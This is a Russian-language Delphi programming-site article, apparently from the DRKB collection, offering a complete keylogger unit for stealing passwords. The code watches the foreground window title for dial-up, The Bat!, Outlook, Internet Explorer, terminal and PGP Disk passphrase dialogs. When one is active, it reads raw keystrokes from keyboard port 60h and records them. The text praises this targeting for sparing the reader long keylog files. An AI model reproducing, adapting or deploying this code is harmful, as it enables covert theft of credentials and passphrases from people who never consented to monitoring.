Способ высосать пароли из едитов определенных программ

Материал из DRKB



Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).

unit ksf;

interface

uses
  windows, Controls, Forms, StdCtrls, Classes, ExtCtrls;

type
  Tf1 = class(TForm)
    t1: TTimer;
    m1: TMemo;
    procedure t1t(Sender: TObject);
  end;

var
  f1: Tf1;
  okey: Byte;
  KAr: array[1..88] of PChar = ('-Esc-','1','2','3','4','5','6','7','8','9',
    '0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
    '[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
    '-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
    'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
    'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
    '-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');

implementation
{$R *.DFM}

procedure Tf1.t1t(Sender: TObject);
var
  key: Byte;
  cap0: PChar;
  cap1: string;
begin
  GetMem(cap0, 255);
  GetWindowText(GetforegroundWindow, cap0, 255); // title активного окна
  cap1 := cap0;
  FreeMem(cap0);
  if (Pos('Connect To', cap1) <> 0)      // DialUP
  or (Pos('Установка связи', cap1) <> 0) // DialUP
  or (Pos('Вход в систему', cap1) <> 0)  // DialUP
  or (Pos('EType Dialer', cap1) <> 0)    // DialUP
  or (Pos('p Networking', cap1) <> 0)    // DialUP
  or (Pos('p Connection', cap1) <> 0)    // DialUP
  or (Pos('Connecting to', cap1) <> 0)   // DialUP
  or (Pos('Connessione a', cap1) <> 0)   // DialUP
  or (Pos('Edit User - ', cap1) <> 0)    // The Bat!
  or (Pos('Мастер подключения к Интернету', cap1) <> 0) // MSIE, MSOutlook, etc
  or (Pos('сетевого пароля', cap1) <> 0) // MSIE
  or (Pos('Свойства: ', cap1) <> 0)      // MSOutlook
  or (Pos('Вход - ', cap1) <> 0)         // MSOutlook
  or (Pos(' - Receiving mail', cap1) <> 0) // The Bat!
  or (Pos('Окно терминала', cap1) <> 0)  // Terminal
  or (Pos('Passphrase', cap1) <> 0)      // PGP Disk
  then
  begin
    asm
      in al,60h                 // Читаем из 60h порта нажатую кнопку в al
      mov key,al                // Перемещаем код ключа из al в Key
    end;
    if okey <> key then
    begin
      okey := key;
      if key <= 88 then           // Ловим Key_Down код
        m1.Text := m1.Text + kAr[Key];  // И берем по этому коду из массива строку
    end;
  end;
end;


Source: http://delphiworld.narod.ru/
ID: 04043